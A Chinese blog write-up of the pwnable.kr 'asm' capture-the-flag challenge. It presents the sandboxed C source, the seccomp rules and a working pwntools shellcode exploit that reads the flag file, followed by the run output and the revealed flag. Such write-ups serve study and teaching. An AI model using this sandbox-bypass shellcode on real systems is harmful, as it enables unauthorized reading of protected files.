pwnable-asm

原创

galaxy3000 已于 2022-02-09 09:07:02 修改 951 收藏

分类专栏： # PWN 文章标签： 网络安全 CTF pwnable writeup shellcode

于 2022-02-09 09:05:57 首次发布

本文链接：https://blog.csdn.net/galaxy3000/article/details/122834889

PWN 专栏收录该内容

26 篇文章 0 订阅

订阅专栏

文章目录

概述

pwnable是一个经典的CTF中PWN方向练习的专业网站，本文记录的题目是asm，主要考察的是shellcode的使用。

题目

题目描述

题目提示 **I think I know how to make shellcodes**，在攻击中shellcode是一段用于利用软件漏洞的有效负载，shellcode是16进制的机器码，以其让攻击者获得shell而得名，题目连接信息为`ssh asm@pwnable.kr -p2222 (pw: guest)`

连接信息

通过ssh登录靶机，查看家目录

```
asm@pwnable:~$ ls -l
total 28
-rwxr-xr-x 1 root root 13704 Nov 29  2016 asm
-rw-r--r-- 1 root root  1793 Nov 29  2016 asm.c
-rw-r--r-- 1 root root   211 Nov 19  2016 readme
-rw-r--r-- 1 root root    67 Nov 19  2016 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooo
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
```

可以看到，除了二进制文件asm和对应的源代码asm.c，还有一个名字很长的flag文件和一个readme，查看readme的内容，可以看到是如何得到flag的提示

```
asm@pwnable:~$ cat readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
```

基本信息

使用`file`查看基本信息

```
➜ pwnable file asm
asm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for
GNU/Linux 2.6.32, BuildID[sha1]=d7401f94b1d6bf6a5afe4b8a9457e71faa2eb5e9, not stripped
```

查看程序加固措施

```
checksec asm

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

源代码

asm.c

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\
x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");

    char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    memset(sh, 0x90, 0x1000);
    memcpy(sh, stub, strlen(stub));

    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);

    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}
```

解题思路

可以看到，源代码中提到了**seccomp**。seccomp 是 secure computing 的缩写，其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里，大量的系统调用（system call）直接暴露给用户态程序。但是，并不是所有的系统调用都被需要，而且不安全的代码滥用系统调用会对系统造成安全威胁。

一般来说，如果使用pwntools，可以通过shellcraft.sh()构建shellcode，但题目源代码中明确了程序只允许read，write，open

手工检查，发现程序确实允许read，write，open，所以没法像常规的ret2shellcode那样得到shell

```
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL
```


因此选择使用`open()`打开flag文件，通过read()和write()读取并输出。

解题代码

使用pwntools构建利用代码，程序运行后得到flag

```
from pwn import *

elf = context.binary = ELF('./asm')

file_name = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_looooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo0000000
00000o0o0o0o0o0o0ong'
length = 50

shellcode = asm(
    shellcraft.open(file_name) +
    shellcraft.read('rax', 'rsp', length) +
    shellcraft.write(1, 'rsp', length) +
    shellcraft.exit(0))

session = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
io = session.remote('0', 9026)

print(io.recv())
io.sendline(shellcode)
print(io.recv())
```

```
[+] Connecting to pwnable.kr on port 2222: Done
[*] asm@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Connecting to 0:9026 via SSH to pwnable.kr: Done
b"Welcome to shellcoding practice challenge.\nIn this challenge, you can run your x64 shellcode under SECCOMP sandbox.\nTry to
 make shellcode that spits flag using open()/read()/write() systemcalls only.\nIf this does not challenge you. you should play
 'asg' challenge :)\ngive me your x64 shellcode: "
b'Mak1ng_shelLcodE_i5_veRy_eaSy\nlease_read_this_file'
```